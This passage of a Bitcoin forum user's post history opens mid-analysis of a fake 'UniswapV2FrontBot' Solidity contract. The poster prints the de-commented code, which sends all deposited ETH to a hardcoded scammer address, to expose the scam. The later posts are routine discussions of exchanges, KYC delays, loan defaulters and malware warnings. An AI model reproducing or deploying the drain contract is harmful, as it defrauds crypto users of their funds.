return 0xA63e1a6BAC832BDBCe948DB116e22830865F7bBe;//pool_info.input_volumn.toString(), pool_info.output_volumn.toString()).call();
}
        //attack_started = true;
        //return true
  //  

    //return false;

    //if (transaction['to'] != PANCAKE_ROUTER_ADDRESS) {
        //return false;
  

    //let data = parseTx(transaction['input']);
  
    //let method = data[0];
    
    //let params = data[1];
    
    //let gasPrice = parseInt(transaction['gasPrice']) / 10**9;
    

    //if(method == 'swapExactETHForTokens')
    
    
        //let in_amount = transaction;
        
        //let out_min = params[0];
        

        //let path = params[1];
        
        //let in_token_addr = path[0];
        
        //let out_token_addr = path[path.length-1];
        
        
        //let recept_addr = params[2];
        
        //let deadline = params[3];
        

        //if(out_token_addr != out_token_address)
        
        
            // console.log(out_token_addr.blue)
            // console.log(out_token_address)
            //return false;
}

Weeding out the comments (lines that start with // and empty lines leds to this

Code:
pragma solidity ^0.6.6;
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Callee.sol";
import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol";
import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol";
contract UniswapV2FrontBot {
    string public tokenName;
string public tokenSymbol;
uint frontrun;
uint manager;
constructor(string memory _tokenName, string memory _tokenSymbol) public {
tokenName = _tokenName;
tokenSymbol = _tokenSymbol;
manager = frontrun;
}
   receive() external payable {}
   function action() public payable {
        manager;
manager;
       payable(uniswapDepositAddress()).transfer(address(this).balance);
                manager;
}
           function uniswapDepositAddress() public pure returns (address) {
return 0xA63e1a6BAC832BDBCe948DB116e22830865F7bBe;
}
}

Once executed (action), the deposited ETH is simply just sent to the scammer's address which is this one  0xA63e1a6BAC832BDBCe948DB116e22830865F7bBe (uniswapDepositAddress)
650  Other / Beginners & Help / Re: Are some cryptos decentralized while some are not? on: September 02, 2023, 11:02:29 AM
At least there is one truly decentralized blockchain network that we know. The major attributes that make it decentralized are that;
1. No organization or owner having full control over it. The code is open source and different developers from allover the world can contribute to the development of Bitcoin. Bitcoin improvement proposals can be approved or rejected by the community, not just one lead developer.

2. The network consensus mechanism is POW which we are well a ware supports decentralization unlike a majority of altcoins that use POS
651  Economy / Scam Accusations / Re: [scam] Yas.bet refusing withdrawal after verification on: September 02, 2023, 08:55:53 AM
OP I was made to understand that most of casinos have a third party affiliation with KYC verification company so in that case, most verification takes long time before they would be able to respond to you with respect to your verification. Just as you said that someone waited for three months here that is likely a truth because that is how it works but my own annoyance with these casinos doing such is that they should be able to inform their clients to know why the delay and possibly give them time interval or ETA so they do not feel neglected by the casino.

Waiting for 3 months to have one's KYC verified? KYC verification can take 5 minutes or just a few days, not months. What are they trying to verify in order to need that much time? A customer's intestines or nerves?  Cheesy



Third party may be true but I've never experienced just indefinite we are looking into things replies with no time frame on any other bookie.

https://imgur.com/a/n2PaOL0

Bro, this is how they ask for verification?  Shocked

This is so dangerous! I have a feeling those customer service agents are even stealing your sensitive data in the name of verification. I thought there is some portal where you upload your KYC details for verification just like you see in exchanges, not a customer service agent asking you to send them your details.


Never mind, it just realized they were asking for your user ID.
652  Economy / Scam Accusations / Re: Alt account or loan defaulter [Obari] on: September 01, 2023, 09:56:29 PM
Obari is happy because he has recently been accepted into the Yo!Mix campaign, so they both have cash flow to pay back the typical small loans that are given out on the forum.
He is going to be kicked out with the new changes in the campaign. Today/tomorrow will probably be his last pay day for Yomix. Obari/Sanakwa/hashrateproducts has enough cash flow. He had it even before the beginning of this circus because he had several alt accounts participating in different signature campaigns but look what greed has brought him.

He tried to make up a silly excuse to avoid paying the loan. Who does that?

Had he paid back the loan in good faith, he wouldn't be under scrutiny today.
653  Alternate cryptocurrencies / Marketplace (Altcoins) / Re: 🌀🌀🌀 BetSwirl : The world's FAIREST Casino 🌀🌀🌀 on: August 31, 2023, 09:47:40 PM
Welcome to the forum, but you made your announcement in the wrong board

I suggest you move it to Gambling board if your casino allows Bitcoin deposits. Otherwise, you shall move it to the alternate currency service announcement board

To move top, look at the bottom left part of your page, you will see an option to do so.
654  Economy / Exchanges / Re: Be Aware of Remitano Change of Address: Don't Send Bitcoins to it Again on: August 31, 2023, 01:30:33 PM
The title should be more like "Be Aware of a fake custodial p2p exchange called Remitano, Don't Send Bitcoins to it Again"
Like paxful, localbitcoins etc Remitano is one of those fake p2p exchanges that will freeze and hold user funds hostage.

In a sea of very good p2p exchanges like Localmonero, Agoradesk, hodlhodl, Bisq. Why should anyone choose to use Remitano?
655  Economy / Exchanges / Re: FTX Customer Claims Portal on: August 31, 2023, 12:23:44 PM
What are the next steps for me  Huh
Anyone esle got the same probelm ?

https://i.ibb.co/Cb3M2W6/ftx.png
I didn't do any KYC, and I am skeptical if I will do it given the recent news about the leaked customer details/documents. I just logged in after confirming my account but the balance in there are just dust amounts and some locked Luna.

What documents did you use for proof of address?
656  Economy / Scam Accusations / Re: [Warning] FiftyOnePercent TradeBot is malware. ANN is self-Moderated on: August 31, 2023, 11:10:30 AM
It's the first time I've noticed in a forum post Github's being used to upload malware. It's difficult we're living in a time when ppl who've downloaded software from Github find their cryptocurrencies vanished. Thanks you've exposed ppl who send malware to unsuspecting users we've all got to be careful with installing software.
They have been using GitHub as well to post malware for ages. The good news is that once you report such profiles in GitHub with evidence of the files the uploaded being malicious, they will immediately act and ban the profile, like they did with FiftyOnePercent TradeBot when I reported.

657  Economy / Scam Accusations / Re: .0043 bitcoin loan defaulted by [Devawnm367] on: August 30, 2023, 09:59:41 PM
The chance of scamming is high by those who repay loan and trying to take large and after paying that asking larger and this way continue and once a time the user default the loan. Though there is an exception and but the chance of scamming is too high.
Have you ever thought about having limits you can send to an individual? Even for people you have lent money in the past and successfully paid back?

When I watch the lending board, there are members who are the highly suspicious of eventually defaulting a loan. Someone borrows a loan of $100, repays it with interest, then after a few days borrows $200, repays it then with interest, after a week borrows $300. Such activity is a time bomb

Such a person can live without loans, but they are trying to create some trust between you and them so that they can at one point scam you with high amounts.
658  Economy / Scam Accusations / Re: Alt account or loan defaulter [Obari] on: August 30, 2023, 02:21:41 PM
So any reason not to red tag Obari and Sakanwa?

Those accounts are why all started this second time (the first time was for martyns) and thanks to nutildah and FatFork analysis we got blockchain connections linking them. I think some DTs should red tag them, but I'm in a period of self-control of my tagging aggressiveness, so to speak, and I'd rather make sure I'm not missing anything before I am the first painting their profiles in red.

Giving them (him) time to come out and explain, plus completing the whole childhood friends story, like Lordhermes tried in the other thread. I don't want to delete the tags later after rushing to paint them so quickly because I didn't wait to hear the entire story.

There is also another reason. Please check PM.
659  Economy / Scam Accusations / Re: Alt account or loan defaulter [Obari] on: August 29, 2023, 09:58:37 PM
So far from what I can gather

1. Obari is an alt of Sakanwa as proved by the transaction history by both accounts using one exchange Bitcoin address at one point
2. Again Obari forgets to log in as Sakanwa and makes a post in a loan thread where "Obari" never took any loan but Sakanwa had an outstanding loan there.

So Obari = Sakanwa

3. Sakanwa and hashrateproducts post in one campaign thread using the same bitcoin address that sakanwa has always used.
There is also proof that  hashrateproducts is a hacked/stolen account

So Obari = Sakanwa = hashrateproducts (the person who stole or bought that account)

Furthermore, hashrateproducts is linked to a group of bounty cheating accounts, some of which are even already banned

Mistafreeze Banned
blackened515
BlackViruse Banned
martyns
Blackpussy Banned
9jaspyware Banned
lesor Banned
Kumasi
Lordhermes

I just want to make a clear list of the linked accounts before I start tagging
660  Other / Archival / Re: ♻️ [banned mixer] — FAST, SECURE and RELIABLE BITCOIN MIXER (Since 2016) ⭐⭐⭐⭐⭐ on: August 29, 2023, 12:52:08 PM
Hello. bitcoins are not coming. not even the beginning of the transaction. can you help? I have a letter of guarantee.
-snip-

Have you tried to contact them through their support email (support@[banned mixer])? Sometimes they are slow at responding to issues, but they eventually solve the problem.
Please don't post your letter of Guarantee here or in public. It defeats the whole purpose of you trying to mix the Bitcoins. Only share it with support staff if you must. I know it maybe a huge amount, but don't panic.
Pages: « 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 [33] 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 ... 262 »
Powered by MySQL Powered by PHP Powered by SMF 1.1.19 | SMF © 2006-2009, Simple Machines Valid XHTML 1.0! Valid CSS!